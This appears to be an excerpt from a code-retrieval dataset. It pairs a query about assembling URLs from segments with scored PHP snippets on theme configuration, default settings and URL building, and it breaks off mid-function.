$theme['fonts']['ci']['name'] : 'ci'),\n 'family' => (is_array($theme['fonts']['ci']['family']) ? $theme['fonts']['ci']['family'] : []),\n 'src' => (is_array($theme['fonts']['ci']['src']) ? $theme['fonts']['ci']['src'] : []),\n 'weight' => (isset($theme['fonts']['ci']['weight']) ? $theme['fonts']['ci']['weight'] : 800)\n ),\n 'regular' => array(\n 'name' => (is_string($theme['fonts']['regular']['name']) ? $theme['fonts']['regular']['name'] : 'regular'),\n 'family' => (is_array($theme['fonts']['regular']['family']) ? $theme['fonts']['regular']['family'] : []),\n 'src' => (is_array($theme['fonts']['regular']['src']) ? $theme['fonts']['regular']['src'] : []),\n 'weight' => (isset($theme['fonts']['regular']['weight']) ? $theme['fonts']['regular']['weight'] : 300)\n ),\n 'bold' => array(\n 'name' => (is_string($theme['fonts']['bold']['name']) ? $theme['fonts']['bold']['name'] : 'bold'),\n 'family' => (is_array($theme['fonts']['bold']['family']) ? $theme['fonts']['bold']['family'] : []),\n 'src' => (is_array($theme['fonts']['bold']['src']) ? $theme['fonts']['bold']['src'] : []),\n 'weight' => (isset($theme['fonts']['bold']['weight']) ? $theme['fonts']['bold']['weight'] : 700)\n )\n ),\n );\n }", "title": "" }, { "docid": "c5753b620abe6fecce50c10890d024a4", "score": "0.5774813", "text": "public function ThemeEngineRender() {\n // Get the paths and settings for the theme\n // Tema = css, bilder, functions och templatefiler\n $themeName = $this->config['theme']['name'];\n $themePath = LYDIA_INSTALL_PATH . \"/themes/{$themeName}\";\n $themeUrl\t = $this->request->base_url . \"themes/{$themeName}\";\n // base_url för att länkar på webbplatsen ska funka så som bilder\n // stylesheets etc oberoende vart på sidan man är\n \n // Add stylesheet path to the $ly->data array\n $this->data['stylesheet'] = \"{$themeUrl}/style.css\";\n\n // Include the global functions.php and the functions.php that are part of the theme\n $ly = &$this;\n\tinclude(LYDIA_INSTALL_PATH . '/themes/functions.php');\n $functionsPath = \"{$themePath}/functions.php\";\n if(is_file($functionsPath)) {\n include $functionsPath;\n }\n\n // Extract $ly->data to own variables and handover to the template file\n extract($this->data); \n include(\"{$themePath}/default.tpl.php\");\n }", "title": "" }, { "docid": "f2b22b1b47d5160cc9b420310d177351", "score": "0.5773653", "text": "private function getTreatmentLayoutTheme()\n\t{\n\t\t$treatment = $this->getContext()->getTreatment();\n\t\tif ($treatment['layoutTheme'] == '')\n\t\t{\n\t\t\t$config = Zend_Registry::get('config');\n\t\t\treturn $config['systemConfig']['sophie']['expfront']['defaultLayoutTheme'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn $treatment['layoutTheme'];\n\t\t}\n\t}", "title": "" }, { "docid": "1d697a5886a2cd67eea8a972f293fc1d", "score": "0.5773345", "text": "public function get_default_settings() {\n\n\t\treturn array_fill_keys(\n\t\t\t$this->get_hooks(),\n\t\t\tarray(\n\t\t\t\t'content' => '',\n\t\t\t\t'php' => 0,\n\t\t\t\t'shortcodes' => 0,\n\t\t\t)\n\t\t);\n\n\t}", "title": "" }, { "docid": "d2b06528cf047e262adb30e8e4b1a86f", "score": "0.5772", "text": "public function getDefaultConfigArray()\n {\n $cmsSettings = new Settings($this->app);\n $default_language = $cmsSettings->getSetting('default_language');\n\n return array(\n\n );\n }", "title": "" }, { "docid": "2b395d9e81aece9accec0f5756293b25", "score": "0.5766191", "text": "public function getDefaultSettings(): array;", "title": "" }, { "docid": "2b8de2ec7149644dfd39063b7ef58447", "score": "0.57626843", "text": "public static function getThemeConfig($theme)\n {\n if (is_string($theme)) {\n $theme = self::getThemeByName($theme);\n }\n\n if ($theme === null) {\n return [];\n }\n\n return [\n 'components' => [\n 'view' => [\n 'theme' => [\n 'name' => $theme->name,\n 'basePath' => $theme->getBasePath()\n ],\n ],\n 'mailer' => [\n 'view' => [\n 'theme' => [\n 'name' => $theme->name,\n 'basePath' => $theme->getBasePath()\n ]\n ]\n ]\n ]\n ];\n }", "title": "" }, { "docid": "8f1bf4823eb9b769bf2abaa6489058e2", "score": "0.57596725", "text": "function pagelines_settings_defaults() {\n\n\t$default_options = array();\n\t\n\t\tforeach(get_option_array( true ) as $menuitem => $options ){\n\t\t\t\n\t\t\tforeach($options as $oid => $o ){\n\n\t\t\t\tif($o['type']=='layout'){\n\t\t\t\t\t\n\t\t\t\t\t$dlayout = new PageLinesLayout;\n\t\t\t\t\t$default_options['layout'] = $dlayout->default_layout_setup();\n\t\t\t\t\t\n\t\t\t\t}elseif( pagelines_is_multi_option($oid, $o) ){\n\t\t\t\t\t\n\t\t\t\t\tforeach($o['selectvalues'] as $multi_optionid => $multi_o)\n\t\t\t\t\t\tif(isset($multi_o['default'])) $default_options[$multi_optionid] = $multi_o['default'];\n\t\t\t\t\t\n\n\t\t\t\t}else{ \n\t\t\t\t\tif(!VPRO && isset($o['version_set_default']) && $o['version_set_default'] == 'pro') \n\t\t\t\t\t\t$default_options[$oid] = null;\n\t\t\t\t\telseif(!VPRO && isset($o['default_free'])) \n\t\t\t\t\t\t$default_options[$oid] = $o['default_free'];\n\t\t\t\t\telseif(isset($o['default'])) \n\t\t\t\t\t\t$default_options[$oid] = $o['default'];\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\treturn apply_filters('pagelines_settings_defaults', $default_options);\n}", "title": "" }, { "docid": "f75ef7e2ad2d19b91e9eb6f319f4f5f2", "score": "0.5754004", "text": "public function getCurrentTheme() {\n\t\t$request = $this->request_stack->getCurrentRequest ();\n\t\t\n\t\t// in case the _theme is not sent the try to parse it from request URI\n\t\tif (! $request->attributes->has ( '_theme' ) || empty ( $request->attributes->get ( '_theme' ) )) {\n\t\t\t$matches = null;\n\t\t\t\n\t\t\tif (preg_match ( '/(\\.php)?\\/\\w+\\/(\\w+).*/i', $request->server->get ( 'REQUEST_URI' ), $matches ))\n\t\t\t\t// is the found theme among the installed themes?\n\t\t\t\tif (in_array ( $matches [2], $this->getInstalledThemes () ))\n\t\t\t\t\treturn $matches [2];\n\t\t\t\n\t\t\treturn $this->default_theme;\n\t\t}\n\t\t\n\t\treturn $request->attributes->get ( '_theme' );\n\t}", "title": "" }, { "docid": "43850b19be5307d97d8ab24f8e9204de", "score": "0.574368", "text": "public function getDefaultLayouts(){\n return array(\n 'layout' => 'KamranLayoutBundle::_default/default.html.twig',\n 'region' => 'KamranLayoutBundle::_default/region.html.twig',\n 'block' => 'KamranLayoutBundle::_default/block.html.twig',\n );\n }", "title": "" }, { "docid": "92999b45cccfd80f3f1337e9ddf80072", "score": "0.57320136", "text": "public function getTheme(): ThemeInterface;", "title": "" }, { "docid": "edd8620dcea0e9aec577b2460bef19a9", "score": "0.57302237", "text": "function sdg_theme($existing, $type, $theme, $path) {\n return array(\n 'sdg_entityreference_link' => array(\n 'variables' => array(\n 'entity' => NULL,\n 'entity_type' => '',\n 'field' => '',\n ),\n 'function' => 'theme_sdg_entityreference_link',\n ),\n 'sdg_indicator_status' => array(\n 'variables' => array(\n 'indicator' => NULL,\n ),\n 'path' => $path . '/templates/custom',\n 'template' => 'sdg-indicator-status',\n ),\n 'sdg_search_form' => array(\n 'variables' => array(),\n 'path' => $path . '/templates/custom',\n 'template' => 'sdg-search-form',\n ),\n );\n}", "title": "" }, { "docid": "24f51f63ac9025d7670ca5742799388c", "score": "0.572969", "text": "function cot_themes_info($theme_name = null)\n{\n global $L, $Ls, $R;\n\trequire_once cot_incfile('extensions');\n\n\t$themes_data = array();\n\t$themelist = array();\n\t$handle = opendir(Cot::$cfg['themes_dir']);\n\twhile ($f = readdir($handle)) {\n\t\tif (mb_strpos($f, '.') === FALSE && is_dir(Cot::$cfg['themes_dir'] . \"/$f\") && $f != \"admin\") {\n\t\t\t$themelist[] = $f;\n\t\t}\n\t}\n\tclosedir($handle);\n\n\tif (!is_null($theme_name)) {\n\t\tif (!in_array($theme_name, $themelist)) {\n\t\t\treturn false;\n\n\t\t} else {\n\t\t\t$themelist = array($theme_name);\n\t\t}\n\n\t} else {\n\t\tsort($themelist);\n\t}\n\n\tforeach ($themelist as $name) {\n\t\tif ($theme_name && $theme_name != $name) continue;\n\t\t$themeinfo = array();\n\t\t$themeinfo_file = Cot::$cfg['themes_dir'] . \"/$name/$name.php\";\n\t\tif (file_exists($themeinfo_file) && $info = cot_infoget($themeinfo_file, 'COT_THEME')) {\n\t\t\t$themeinfo = $info;\n\t\t\tif (empty($themeinfo['Title'])) {\n\t\t\t $themeinfo['Title'] = isset($info['Name']) ? $info['Name'] : $name;\n }\n\t\t\t$schemes_list = array();\n\t\t\tif (!empty($info['Schemes'])) {\n\t\t\t\t$schemes = preg_split('/\\s*,\\s*/', $info['Schemes']);\n\t\t\t\tsort($schemes);\n\t\t\t\tforeach ($schemes as $scheme) {\n\t\t\t\t\tlist($sc_name, $sc_title) = explode(':', $scheme);\n\t\t\t\t\t$schemes_list[$sc_name] = $sc_title;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$themeinfo['Schemes'] = $schemes_list;\n\t\t\tif(!isset($themeinfo['Version'])) $themeinfo['Version'] = '';\n\t\t}\n\t\tif (sizeof($themeinfo) > 0) $themes_data[$name] = $themeinfo;\n\t}\n\n\tif (is_null($theme_name)) {\n\t\treturn $themes_data;\n\n\t} else {\n\t\treturn $themes_data[$theme_name];\n\t}\n}", "title": "" }, { "docid": "7d1a8cf2d70bbcdf48f8ba2f9bfad32b", "score": "0.5729362", "text": "protected function get_default_settings() {\n\n\t\treturn array();\n\t}", "title": "" }, { "docid": "ec18cfbcd039a6d7bdf0b6ffefc8aeaa", "score": "0.5729189", "text": "public function getCurrentTheme() {\n $date = new \\DateTime(); // today\n $week = (int) $date->format(\"W\");\n // select week's theme\n return $this->findOneByWeek($week);\n }", "title": "" }, { "docid": "7a7711f9ace591ae30fa33e57b32350c", "score": "0.5728846", "text": "public function defaultConfiguration();", "title": "" }, { "docid": "56aaf82b4286ea595c1b1c842e1c4937", "score": "0.57269835", "text": "function wpConfigureTheme($sThemeName, array $aWpConfig=array())\n{\n global $wpConfigType;\n $wpConfigType = 'theme';\n\n $result = wpConfigure($sThemeName, $aWpConfig);\n $wpConfigType = 'site';\n\n return $result;\n}", "title": "" }, { "docid": "217106bb6f27640b7729ebbea9d9c68c", "score": "0.57217485", "text": "public function index()\n {\n $user = Auth::user()->id;\n $color= Settings::find($user);\n if($color==null){\n $theme = \"primary\";\n return view('home')->with('theme',$theme);\n }else{\n $theme =$color->theme ;\n return view('home')->with('theme',$theme);\n }\n }", "title": "" }, { "docid": "1d63209e6780efebdcb3a26fd70a159b", "score": "0.57072026", "text": "protected function getDefaultSettings()\n {\n return $this->helper->getConfig('uploads.default', []);\n }", "title": "" }, { "docid": "63b91494e18cbf11461aaa6c8d9e7000", "score": "0.5703695", "text": "function doesoe_theme_theme($existing, $type, $theme, $path) {\n $custom_template_folder = 'templates/custom/';\n return array(\n // Theme output for an assessment summary header.\n 'assessment_summary_header' => array(\n 'template' => $custom_template_folder . 'assessment-summary-header',\n 'variables' => array(\n 'grades' => NULL,\n 'grade_scale' => 4,\n ),\n ),\n // Search box.\n 'search_block_doesoe' => array(\n 'template' => $custom_template_folder . 'search-block-doesoe',\n 'variables' => array('search_form' => array()),\n ),\n // Search accordion toggle element.\n 'search_accordion_toggle_element' => array(\n 'template' => $custom_template_folder . 'search-accordion-toggle-element',\n 'variables' => array(\n 'title' => NULL,\n 'icon' => NULL,\n 'alt_action' => NULL,\n ),\n ),\n // Icomoon icon element.\n 'icon' => array(\n 'template' => $custom_template_folder . 'icon',\n 'variables' => array('icon' => NULL, 'title' => NULL, 'type'),\n ),\n // Citation.\n 'doesoe_theme_citation' => array(\n 'variables' => array(\n 'theme' => NULL,\n ),\n 'path' => $path . '/templates/custom',\n 'template' => 'doesoe-theme-citation',\n ),\n );\n}", "title": "" }, { "docid": "bb9c9e3253effacea6c2c73d79289cf9", "score": "0.56999743", "text": "public function index(): array {\n return [\n '#theme' => 'homepage',\n '#vars' => []\n ];\n }", "title": "" }, { "docid": "fa8fa24719975bf53c7745f3d1645107", "score": "0.5681346", "text": "public function getThemes()\n {\n return $this->metas[\"themes\"];\n }", "title": "" }, { "docid": "8eeecd8f1f10b7c560967a826c7f45d3", "score": "0.5677523", "text": "public static function getFrontendConfiguration()\n {\n $defaultLanguageQuery = static::findByAttributes([ 'slug' => 'language.default' ]);\n $languagesQuery = LanguageRepository::findAllByAttributes([ 'is_published' => (int) true ]);\n\n $defaultLanguage = null;\n $languages = null;\n\n if ( $defaultLanguageQuery ) {\n $defaultLanguage = $defaultLanguageQuery->value;\n }\n\n foreach ( $languagesQuery as $language ) {\n $languages [] = $language->slug;\n }\n\n return [\n 'language' => [\n 'default' => $defaultLanguage,\n 'items' => $languages,\n ],\n ];\n }", "title": "" }, { "docid": "a82597fb01e148a3f9bbcf5030f5b0d5", "score": "0.56766844", "text": "protected function getDefaultConfig()\n {\n return array(\n 'consumer_key' => '',\n 'consumer_secret' => '',\n 'access_token' => '',\n 'access_token_secret' => '',\n 'listings' => array(\n 'default' => array(\n 'tweets_to_show' => 5\n )\n )\n );\n }", "title": "" }, { "docid": "fa61111216ee2e77236ca29d24c695c3", "score": "0.56749386", "text": "protected function _defaults() {\n\t\t$defaults = array(\n\t\t\tTMP => 0775,\n\t\t\tTMP . 'logs' . DS => 0775,\n\t\t\tTMP . 'sessions' . DS => 0775,\n\t\t\tCACHE => 0775,\n\t\t\tCACHE . 'models' . DS => 0775,\n\t\t\tCACHE . 'persistent' . DS => 0775,\n\t\t\tCACHE . 'views' . DS => 0775\n\t\t);\n\n\t\t// add js/css cache\n\t\tif (Configure::read('Asset.combine')) {\n\t\t\t$defaults[JS . 'cjs' . DS] = 0775;\n\t\t\t$defaults[CSS . 'ccss' . DS] = 0775;\n\t\t}\n\t\t//TODO\n\n\t\treturn $defaults;\n\t}", "title": "" }, { "docid": "9e8f7d97e08885461e15076af6f7c534", "score": "0.5674616", "text": "public function getTheme()\n {\n return parent::getPackage();\n }", "title": "" }, { "docid": "505bace8ee56c7f4a33d479aa5b2cc60", "score": "0.56692076", "text": "public function getDefaultSettings() {\n return array();\n }", "title": "" }, { "docid": "a51c6a78983c6b4a9f2403d5000e3f40", "score": "0.56679374", "text": "public function get_theme()\n\t{\n\t\tif ( $this->_theme )\n\t\t{\n\t\t\treturn $this->_theme;\n\t\t}\n\n\t\ttry\n\t\t{\n\t\t\treturn $this->_theme = \\IPS\\Theme::load( $this->theme_id );\n\t\t}\n\t\tcatch ( \\OutOfRangeException $e )\n\t\t{\n\t\t}\n\t}", "title": "" }, { "docid": "2f1ef77b088fa586b92d35c54eb4dec5", "score": "0.5665402", "text": "public function getThemeLayout();", "title": "" }, { "docid": "132056f8b4b534d268ee20a694efc0ee", "score": "0.56596744", "text": "function postal_theme_theme() {\n $path = drupal_get_path('module', 'postal') .'/theme';\n return array(\n 'postal' => array(\n 'arguments' => array('element' => NULL),\n 'file' => 'postal.theme.inc',\n 'path' => $path,\n ),\n 'postal_general' => array(\n 'arguments' => array('element' => NULL),\n 'file' => 'postal.theme.inc',\n 'path' => $path,\n ),\n 'postal_address' => array(\n 'arguments' => array('address' => NULL),\n 'template' => 'postal-address',\n 'file' => 'postal.theme.inc',\n 'path' => $path,\n ),\n 'postal_country' => array(\n 'arguments' => array('address' => NULL),\n 'file' => 'postal.theme.inc',\n 'path' => $path,\n ),\n 'postal_city' => array(\n 'arguments' => array('address' => NULL),\n 'file' => 'postal.theme.inc',\n 'path' => $path,\n ),\n 'postal_state' => array(\n 'arguments' => array('address' => NULL),\n 'file' => 'postal.theme.inc',\n 'path' => $path,\n ),\n 'postal_zip' => array(\n 'arguments' => array('address' => NULL),\n 'file' => 'postal.theme.inc',\n 'path' => $path,\n ),\n );\n}", "title": "" }, { "docid": "e44663cc89a05f7cc219b1eecdad7094", "score": "0.5659001", "text": "private function BootstrapDefault() {\r\n $this->views->SetTitle('Theme bootstrap');\r\n $items = array();\r\n $items[] = $this->request->controller . '/bootstrap/someregions';\r\n $items[] = $this->request->controller . '/bootstrap/allregions';\r\n $items[] = $this->request->controller . '/bootstrap/someregions/footer-column-two';\r\n $this->views->AddInclude('Theme/index.tpl.php', array(\r\n 'theme_name' => $this->config['theme']['name'],\r\n 'methods' => $items,\r\n ));\r\n\r\n }", "title": "" } ]
342e360d4c8e90ac924faeba456ff19a
Assembles a URL from an ordered list of segments
[ { "docid": "c0ec754b477e28e24e3d82401e64ffaa", "score": "0.0", "text": "public static function assemble($args)\n {\n $args = func_get_args();\n if (is_array($args[0])) {\n $args = $args[0];\n }\n\n if (! is_array($args) || ! count($args)) {\n return null;\n }\n\n return self::tidy('/' . join($args, '/'));\n }", "title": "" } ]
[ { "docid": "d71725779aa52a29bc5ef3178e408240", "score": "0.6453235", "text": "public static function getFullUrl()\n\t{\n\t\t$delimiter = '/';\n\t\t$segments = func_get_args();\n\n\t\t$strSegments = ltrim(implode($delimiter, $segments), $delimiter);\n\n\t\treturn BASE_URL . $delimiter . $strSegments;\n\t}", "title": "" }, { "docid": "655ec587f27154c208388419675b9137", "score": "0.63908833", "text": "function http_build_url ($url = null, $parts = null, $flags = null, array &$new_url = null ) {}", "title": "" }, { "docid": "5275d8e1c4d550ad4e8c1c1932ef53f2", "score": "0.60188043", "text": "public static function joinUrl()\n {\n $array = array_map(function ($e) {\n return preg_replace('/(^\\/+|\\/+$)/', '', $e);\n }, func_get_args());\n\n return implode('/', $array);\n }", "title": "" }, { "docid": "64b08f728822eefce57306009167611b", "score": "0.59685093", "text": "function generateUri(string ...$aParam): string;", "title": "" }, { "docid": "c5ab4a4bcc1b377f8417a8adde93ef68", "score": "0.5851625", "text": "public static function segments()\n {\n $uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n return self::cleanUpSegments($uri);\n }", "title": "" }, { "docid": "150bb77ed100f910dab2c4e2c71a8821", "score": "0.58464265", "text": "public static function process_uri_segments(){\n\t\tif (self::$_uri_segments == null){\n\t\t\t$uri_segments = array();\n\t\t\tforeach($segments = explode('/', Request::detect_uri()) as $key => $segment) {\n\t\t\t // make sure urls ending with / are treated same as those without the last / as well as those ending with /index\n\t\t\t if (strlen($segment) && !in_array($segment, $uri_segments) && $segment != 'index') {\n\t\t\t $uri_segments[] = $segment;\n\t\t\t }\n\t\t\t}\n\t\t\tself::$_uri_segments = $uri_segments;\n\t\t}\n\t\t\n\t\treturn self::$_uri_segments;\n\t}", "title": "" }, { "docid": "459c7be171478836b55233c6fa41dced", "score": "0.5826059", "text": "public static function joinWebPath(string ...$pieces): string {\n return self::joinPieces('/', ...$pieces);\n }", "title": "" }, { "docid": "a720e7f734cfbb12732958167dfad80a", "score": "0.5820982", "text": "function parse(& $segments)\n\t{\n\t\t$vars = array();\n\t\tif (count($segments))\n\t\t{\n\t\t\t$db = JFactory::getDbo();\n\t\t\t$key = md5(str_replace(':', '-', implode('/', $segments)));\n\t\t\t$query = $db->getQuery(true);\n\t\t\t$query->select('`query`')\n\t\t\t\t->from('#__osrs_urls')\n\t\t\t\t->where('md5_key=\"'.$key.'\"');\n\t\t\t$db->setQuery($query);\n\t\t\t$queryString = $db->loadResult();\n\t\t\tif ($queryString)\n\t\t\t{\n\t\t\t\tparse_str(html_entity_decode($queryString), $vars);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$method = strtoupper(JFactory::getApplication()->input->getMethod());\n\t\t\t\tif ($method == 'GET')\n\t\t\t\t{\n\t\t\t\t\tthrow new Exception('Page not found', 404);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (version_compare(JVERSION, '4.0.0-dev', 'ge'))\n\t\t\t{\n\t\t\t\t$segments = [];\n\t\t\t}\n\t\t}\n\n\t\t$app\t\t= JFactory::getApplication();\n\t\t$menu\t\t= $app->getMenu();\n\t\tif ($item = $menu->getActive())\n\t\t{\n\t\t\tforeach ($item->query as $key=>$value)\n\t\t\t{\n\t\t\t\tif ($key != 'option' && $key != 'Itemid' && !isset($vars[$key]))\n\t\t\t\t\t$vars[$key] = $value;\n\t\t\t}\n\t\t}\n\t\treturn $vars;\n\t}", "title": "" }, { "docid": "29f43af9a3e715e6ba3fffb85f0583e4", "score": "0.5766387", "text": "public function urlToParts(): string\n {\n return Router::urlToParts($this->catalogId(), $this->carId(), $this->groupPath());\n }", "title": "" }, { "docid": "47e94f8a4d6adb4abf92c8d032497ba7", "score": "0.5709641", "text": "public function buildURL();", "title": "" }, { "docid": "a515273cc5921273a888cb5b1580597a", "score": "0.5697376", "text": "private function adjustUriSegments( $list, $item )\n {\n if ( $item === '..' )\n {\n array_pop( $list );\n }\n else\n {\n array_push( $list, $item );\n }\n\n return $list;\n }", "title": "" }, { "docid": "913372313cf944af377b17631d94811f", "score": "0.56853014", "text": "function http_build_url(/*string|array*/ $url, /*string|array*/ $parts = array(), /*int*/ $flags = HTTP_URL_REPLACE, /*array*/ &$new_url = false)\n {\n // If the $url is a string\n if(is_string($url))\n {\n $url = parse_url($url);\n }\n\n // If the $parts is a string\n if(is_string($parts))\n {\n $parts = parse_url($parts);\n }\n\n // Scheme and Host are always replaced\n if(isset($parts['scheme'])) $url['scheme'] = $parts['scheme'];\n if(isset($parts['host'])) $url['host'] = $parts['host'];\n\n // (If applicable) Replace the original URL with it's new parts\n if(HTTP_URL_REPLACE & $flags)\n {\n // Go through each possible key\n foreach(array('user','pass','port','path','query','fragment') as $key)\n {\n // If it's set in $parts, replace it in $url\n if(isset($parts[$key])) $url[$key] = $parts[$key];\n }\n }\n else\n {\n // Join the original URL path with the new path\n if(isset($parts['path']) && (HTTP_URL_JOIN_PATH & $flags))\n {\n if(isset($url['path']) && $url['path'] != '')\n {\n // If the URL doesn't start with a slash, we need to merge\n if($url['path'][0] != '/')\n {\n // If the path ends with a slash, store as is\n if('/' == $parts['path'][strlen($parts['path'])-1])\n {\n $sBasePath = $parts['path'];\n }\n // Else trim off the file\n else\n {\n // Get just the base directory\n $sBasePath = dirname($parts['path']);\n }\n\n // If it's empty\n if('' == $sBasePath) $sBasePath = '/';\n\n // Add the two together\n $url['path'] = $sBasePath . $url['path'];\n\n // Free memory\n unset($sBasePath);\n }\n\n if(false !== strpos($url['path'], './'))\n {\n // Remove any '../' and their directories\n while(preg_match('/\\w+\\/\\.\\.\\//', $url['path'])){\n $url['path'] = preg_replace('/\\w+\\/\\.\\.\\//', '', $url['path']);\n }\n\n // Remove any './'\n $url['path'] = str_replace('./', '', $url['path']);\n }\n }\n else\n {\n $url['path'] = $parts['path'];\n }\n }\n\n // Join the original query string with the new query string\n if(isset($parts['query']) && (HTTP_URL_JOIN_QUERY & $flags))\n {\n if (isset($url['query'])) $url['query'] .= '&' . $parts['query'];\n else $url['query'] = $parts['query'];\n }\n }\n\n // Strips all the applicable sections of the URL\n if(HTTP_URL_STRIP_USER & $flags) unset($url['user']);\n if(HTTP_URL_STRIP_PASS & $flags) unset($url['pass']);\n if(HTTP_URL_STRIP_PORT & $flags) unset($url['port']);\n if(HTTP_URL_STRIP_PATH & $flags) unset($url['path']);\n if(HTTP_URL_STRIP_QUERY & $flags) unset($url['query']);\n if(HTTP_URL_STRIP_FRAGMENT & $flags) unset($url['fragment']);\n\n // Store the new associative array in $new_url\n $new_url = $url;\n\n // Combine the new elements into a string and return it\n return\n ((isset($url['scheme'])) ? $url['scheme'] . '://' : '')\n .((isset($url['user'])) ? $url['user'] . ((isset($url['pass'])) ? ':' . $url['pass'] : '') .'@' : '')\n .((isset($url['host'])) ? $url['host'] : '')\n .((isset($url['port'])) ? ':' . $url['port'] : '')\n .((isset($url['path'])) ? $url['path'] : '')\n .((isset($url['query'])) ? '?' . $url['query'] : '')\n .((isset($url['fragment'])) ? '#' . $url['fragment'] : '')\n ;\n }", "title": "" }, { "docid": "41a420bd4f9920d63ec6e00b6569ea86", "score": "0.5685125", "text": "final protected function buildUrl($fragments)\n {\n // Verify url path\n if (!isset($fragments[0])) {\n throw new InvalidFragmentsParameter('Invalid base url structure, http:// path must exists at position [0]', 1);\n }\n\n // Cleaning up\n $url = $fragments[0];\n unset($fragments[0]);\n\n // Begin process for make replacements\n if (isset($fragments[1]) && is_array($fragments[1])) {\n $replacements = [];\n $params = $fragments[1];\n\n // Add { } to each element of the array\n array_walk($params, function (&$item, $key) use (&$replacements) {\n $replacements['{'.$key.'}'] = $item;\n });\n }\n\n return str_replace(array_keys($replacements), array_values($replacements), $url);\n }", "title": "" }, { "docid": "73d118c08063be684ba73c4adc461d18", "score": "0.5682944", "text": "function build_url( $parts = null )\r\n\t{\r\n\t\tif (is_string($parts))\r\n\t\t{\r\n\t\t\tif ($parts === '' || $parts === '//')\r\n\t\t\t\treturn $this->uri->withScheme(null);\t\t\t\t\t\t\t\t//\t'//' . $this->uri->authority . $this->uri->getPathAndQuery();\r\n\t\t\tif ($parts[0] === '/')\r\n\t\t\t\treturn $this->uri->getLeftPart(Uri::PARTIAL_AUTHORITY) . $parts;\t//\t(_::is_https() ? 'https://' : 'http://') . _::request('host') . $parts;\r\n\t\t\tif ($parts === 'https' || $parts === 'http')\r\n\t\t\t\treturn $this->uri->withScheme($parts);\t\t\t\t\t\t\t\t//\t$parts . '://' . _::request('host') . _::request('uri');\r\n\t\t\tif ($parts[0] === '?')\r\n\t\t\t\treturn $this->uri->getLeftPart(Uri::PARTIAL_PATH) . $parts;\t\t\t//\t(_::is_https() ? 'https://' : 'http://') . _::request('host') . _::request('path') . $parts;\r\n\t\t\tif (strpos($parts, '=') !== false)\r\n\t\t\t\treturn $this->uri->getLeftPart(Uri::PARTIAL_PATH) . '?' . $parts;\t//\t(_::is_https() ? 'https://' : 'http://') . _::request('host') . _::request('path') . '?' . $parts;\r\n\t\t\tif ($parts[0] === '#')\r\n\t\t\t\treturn $this->uri->withFragment($parts);\t\t\t\t\t\t\t//\t(_::is_https() ? 'https://' : 'http://') . _::request('host') . _::request('uri') . $parts;\r\n\t\t\tthrow new \\Exception(\"Invalid call to Request::build_url('{$parts}')\");\r\n\t\t}\r\n\t\treturn (string) (new Uri($parts));\r\n/*\r\n\t\treturn\t(isset($parts['scheme']) ? (empty($parts['scheme']) ? '//' : $parts['scheme'] . '://') : ($this->uri->scheme ?? 'http') : 'http://')) .\t// Can set `scheme` to NULL to generate a Protocol-Relative-URL!\r\n\t\t\t\t'//' . (empty($parts['host']) ? $this->uri->authority : $parts['host']) .\r\n\t\t\t\t(empty($parts['path']) ? _::request('path') : $parts['path']) .\r\n\t\t\t\t(isset($parts['query']) ? (empty($parts['query']) ? null : '?' . $parts['query']) : (empty($parts['path']) && _::request('query') ? '?' . _::request('query') : null)); // NO FRAGMENT! We can append it if we really need it!\r\n*/\r\n\t}", "title": "" }, { "docid": "adb77d1362c47016a182059c83217ff6", "score": "0.5646011", "text": "function http_build_url(/*string|array*/ $url, /*string|array*/ $parts = array(), /*int*/ $flags = HTTP_URL_REPLACE, /*array*/ &$new_url = false){\n\t\t// If the $url is a string\n\t\tif(is_string($url)){\n\t\t\t$url = parse_url($url);\n\t\t}\n\n\t\t// If the $parts is a string\n\t\tif(is_string($parts)){\n\t\t\t$parts\t= parse_url($parts);\n\t\t}\n\n\t\t// Scheme and Host are always replaced\n\t\tif(isset($parts['scheme']))\t$url['scheme']\t= $parts['scheme'];\n\t\tif(isset($parts['host']))\t$url['host']\t= $parts['host'];\n\n\t\t// (If applicable) Replace the original URL with it's new parts\n\t\tif(HTTP_URL_REPLACE & $flags)\n\t\t{\n\t\t\t// Go through each possible key\n\t\t\tforeach(array('user','pass','port','path','query','fragment') as $key)\n\t\t\t{\n\t\t\t\t// If it's set in $parts, replace it in $url\n\t\t\t\tif(isset($parts[$key]))\t$url[$key]\t= $parts[$key];\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Join the original URL path with the new path\n\t\t\tif(isset($parts['path']) && (HTTP_URL_JOIN_PATH & $flags))\n\t\t\t{\n\t\t\t\tif(isset($url['path']) && $url['path'] != '')\n\t\t\t\t{\n\t\t\t\t\t// If the URL doesn't start with a slash, we need to merge\n\t\t\t\t\tif($url['path'][0] != '/')\n\t\t\t\t\t{\n\t\t\t\t\t\t// If the path ends with a slash, store as is\n\t\t\t\t\t\tif('/' == $parts['path'][strlen($parts['path'])-1])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sBasePath\t= $parts['path'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Else trim off the file\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// Get just the base directory\n\t\t\t\t\t\t\t$sBasePath\t= dirname($parts['path']);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// If it's empty\n\t\t\t\t\t\tif('' == $sBasePath)\t$sBasePath\t= '/';\n\n\t\t\t\t\t\t// Add the two together\n\t\t\t\t\t\t$url['path']\t= $sBasePath . $url['path'];\n\n\t\t\t\t\t\t// Free memory\n\t\t\t\t\t\tunset($sBasePath);\n\t\t\t\t\t}\n\n\t\t\t\t\tif(false !== strpos($url['path'], './'))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Remove any '../' and their directories\n\t\t\t\t\t\twhile(preg_match('/\\w+\\/\\.\\.\\//', $url['path'])){\n\t\t\t\t\t\t\t$url['path']\t= preg_replace('/\\w+\\/\\.\\.\\//', '', $url['path']);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Remove any './'\n\t\t\t\t\t\t$url['path']\t= str_replace('./', '', $url['path']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$url['path']\t= $parts['path'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Join the original query string with the new query string\n\t\t\tif(isset($parts['query']) && (HTTP_URL_JOIN_QUERY & 